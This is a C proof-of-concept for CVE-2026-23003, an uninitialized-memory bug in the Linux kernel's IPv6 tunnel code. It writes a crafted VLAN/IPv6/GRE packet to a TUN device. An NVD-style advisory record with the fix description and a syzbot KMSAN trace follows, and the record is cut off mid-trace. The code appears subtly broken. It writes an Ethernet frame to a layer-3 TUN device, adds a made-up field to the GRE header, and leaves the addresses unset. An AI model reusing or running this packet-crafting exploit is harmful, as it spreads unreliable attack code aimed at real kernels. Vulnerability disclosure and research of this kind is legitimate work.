CVE-2026-23003

// PoC for CVE-2026-23003: Linux kernel ip6_tunnel uninitialized memory // This PoC demonstrates triggering the vulnerability via TUN device #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_tun.h> #include <sys/ioctl.h> // VLAN header structure struct vlan_hdr { __be16 h_vlan_TCI; __be16 h_vlan_encapsulated_proto; }; // IPv6 header structure struct ipv6hdr { __u8 priority:4, version:4; __u8 flow_lbl[3]; __be16 payload_len; __u8 nexthdr; __u8 hop_limit; struct in6_addr saddr; struct in6_addr daddr; }; // GRE header with IPv6 payload struct grehdr { __be16 flags; __be16 protocol; __u8 nexthdr; // IPv6 nexthdr }; int create_tun_device(void) { struct ifreq ifr; int fd = open("/dev/net/tun", O_RDWR); if (fd < 0) return -1; memset(&ifr, 0, sizeof(ifr)); ifr.ifr_flags = IFF_TUN | IFF_NO_PI; strncpy(ifr.ifr_name, "tun0", IFNAMSIZ); if (ioctl(fd, TUNSETIFF, &ifr) < 0) { close(fd); return -1; } return fd; } void craft_malicious_packet(char *packet, int *len) { // Outer Ethernet frame with VLAN tag struct ethhdr { unsigned char h_dest[6]; unsigned char h_source[6]; __be16 h_proto; } *eth = (struct ethhdr *)packet; // VLAN header struct vlan_hdr *vlan = (struct vlan_hdr *)(packet + sizeof(struct ethhdr)); // Outer IPv6 header (tunnel header) struct ipv6hdr *outer_ip6 = (struct ipv6hdr *)(packet + sizeof(struct ethhdr) + sizeof(struct vlan_hdr)); // GRE header struct grehdr *gre = (struct grehdr *)(packet + sizeof(struct ethhdr) + sizeof(struct vlan_hdr) + sizeof(struct ipv6hdr)); // Inner IPv6 header struct ipv6hdr *inner_ip6 = (struct ipv6hdr *)(packet + sizeof(struct ethhdr) + sizeof(struct vlan_hdr) + sizeof(struct ipv6hdr) + sizeof(struct grehdr)); // Set Ethernet header with VLAN memset(eth->h_dest, 0xff, 6); memset(eth->h_source, 0xaa, 6); eth->h_proto = htons(0x8100); // VLAN tag // Set VLAN header vlan->h_vlan_TCI = htons(0x0001); vlan->h_vlan_encapsulated_proto = htons(0x86DD); // IPv6 // Set outer IPv6 header (tunnel encapsulation) outer_ip6->version = 6; outer_ip6->priority = 3; // ECN capable memset(outer_ip6->flow_lbl, 0, 3); outer_ip6->payload_len = htons(sizeof(struct grehdr) + sizeof(struct ipv6hdr)); outer_ip6->nexthdr = 47; // GRE outer_ip6->hop_limit = 64; // Set src/dst addresses... // Set GRE header gre->flags = 0; gre->protocol = htons(0x86DD); // IPv6 gre->nexthdr = 6; // TCP // Set inner IPv6 header with ECN marking inner_ip6->version = 6; inner_ip6->priority = 3; // ECN marking that triggers decapsulation memset(inner_ip6->flow_lbl, 0, 3); inner_ip6->payload_len = 0; inner_ip6->nexthdr = 6; // TCP inner_ip6->hop_limit = 128; *len = sizeof(struct ethhdr) + sizeof(struct vlan_hdr) + sizeof(struct ipv6hdr) + sizeof(struct grehdr) + sizeof(struct ipv6hdr); } int main() { int tun_fd = create_tun_device(); if (tun_fd < 0) { fprintf(stderr, "Failed to create TUN device\n"); return 1; } char packet[1024]; int len; craft_malicious_packet(packet, &len); printf("Sending malicious packet to trigger CVE-2026-23003...\n"); write(tun_fd, packet, len); close(tun_fd); return 0; } /* * Compilation: gcc -o cve_poc cve_poc.c * Usage: Requires root privileges to create TUN device * Effect: Triggers KMSAN warning in __ip6_tnl_rcv() due to * uninitialized memory access when processing VLAN-encapsulated * IPv6 tunnel packets with ECN marking */

{"cve": {"id": "CVE-2026-23003", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:55.170", "lastModified": "2026-04-27T14:16:29.063", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: use skb_vlan_inet_prepare() in __ip6_tnl_rcv()\n\nBlamed commit did not take care of VLAN encapsulations\nas spotted by syzbot [1].\n\nUse skb_vlan_inet_prepare() instead of pskb_inet_may_pull().\n\n[1]\n BUG: KMSAN: uninit-value in __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline]\n BUG: KMSAN: uninit-value in INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline]\n BUG: KMSAN: uninit-value in IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321\n __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline]\n INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline]\n IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321\n ip6ip6_dscp_ecn_decapsulate+0x16f/0x1b0 net/ipv6/ip6_tunnel.c:729\n __ip6_tnl_rcv+0xed9/0x1b50 net/ipv6/ip6_tunnel.c:860\n ip6_tnl_rcv+0xc3/0x100 net/ipv6/ip6_tunnel.c:903\n gre_rcv+0x1529/0x1b90 net/ipv6/ip6_gre.c:-1\n ip6_protocol_deliver_rcu+0x1c89/0x2c60 net/ipv6/ip6_input.c:438\n ip6_input_finish+0x1f4/0x4a0 net/ipv6/ip6_input.c:489\n NF_HOOK include/linux/netfilter.h:318 [inline]\n ip6_input+0x9c/0x330 net/ipv6/ip6_input.c:500\n ip6_mc_input+0x7ca/0xc10 net/ipv6/ip6_input.c:590\n dst_input include/net/dst.h:474 [inline]\n ip6_rcv_finish+0x958/0x990 net/ipv6/ip6_input.c:79\n NF_HOOK include/linux/netfilter.h:318 [inline]\n ipv6_rcv+0xf1/0x3c0 net/ipv6/ip6_input.c:311\n __netif_receive_skb_one_core net/core/dev.c:6139 [inline]\n __netif_receive_skb+0x1df/0xac0 net/core/dev.c:6252\n netif_receive_skb_internal net/core/dev.c:6338 [inline]\n netif_receive_skb+0x57/0x630 net/core/dev.c:6397\n tun_rx_batched+0x1df/0x980 drivers/net/tun.c:1485\n tun_get_user+0x5c0e/0x6c60 drivers/net/tun.c:1953\n tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999\n new_sync_write fs/read_write.c:593 [inline]\n vfs_write+0xbe2/0x15d0 fs/read_write.c:686\n ksys_write fs/read_write.c:738 [inline]\n __do_sys_write fs/read_write.c:749 [inline]\n __se_sys_write fs/read_write.c:746 [inline]\n __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746\n x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n slab_post_alloc_hook mm/slub.c:4960 [inline]\n slab_alloc_node mm/slub.c:5263 [inline]\n kmem_cache_alloc_node_noprof+0x9e7/0x17a0 mm/slub.c:5315\n kmalloc_reserve+0x13c/0x4b0 net/core/skbuff.c:586\n __alloc_skb+0x805/0x1040 net/core/skbuff.c:690\n alloc_skb include/linux/skbuff.h:1383 [inline]\n alloc_skb_with_frags+0xc5/0xa60 net/core/skbuff.c:6712\n sock_alloc_send_pskb+0xacc/0xc60 net/core/sock.c:2995\n tun_alloc_skb drivers/net/tun.c:1461 [inline]\n tun_get_user+0x1142/0x6c60 drivers/net/tun.c:1794\n tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999\n new_sync_write fs/read_write.c:593 [inline]\n vfs_write+0xbe2/0x15d0 fs/read_write.c:686\n ksys_write fs/read_write.c:738 [inline]\n __do_sys_write fs/read_write.c:749 [inline]\n __se_sys_write fs/read_write.c:746 [inline]\n __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746\n x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nCPU: 0 UID: 0 PID: 6465 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(none)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nip6_tunnel: usar skb_vlan_inet_prepare() en __ip6_tnl_rcv()\n\nEl commit culpable no tuvo en cuenta las encapsulaciones VLAN como fue detectado por syzbot [1].\n\nUsar skb_vlan_inet_prepare() en lugar de pskb_inet_may_pull().\n\n[1]\n ERROR: KMSAN: valor no inicializado en __INET_ECN_decapsulate include/net/inet_ecn.h:253 [en línea]\n ERROR: KMSAN: valor no inicializado en INET_ECN_decapsulate include/net/inet_ecn.h:275 [en línea]\n ERROR: KMSAN: valor no inicializado en IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321\n __INET_ECN_decapsulate include/net/inet_ecn.h:253 [en línea]\n INET_ECN_decapsulate include/net/inet_ecn.h:275 [en línea]\n IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321\n ip6ip6_dscp_ecn_decapsulate+0x16f/0x1b0 net/ipv6/ip6_tunnel.c:729\n __ip6_tnl_rcv+0xed9/0x1b50 net/ipv6/ip6_tunnel.c:860\n ip6_tnl_rcv+0xc3/0x100 net/ipv6/ip6_tunnel.c:903\n gre_rcv+0x1529/0x1b90 net/ipv6/ip6_gre.c:-1\n ip6_protocol_deliver_rcu+0x1c89/0x2c60 net/ipv6/ip6_inpu ... (truncated)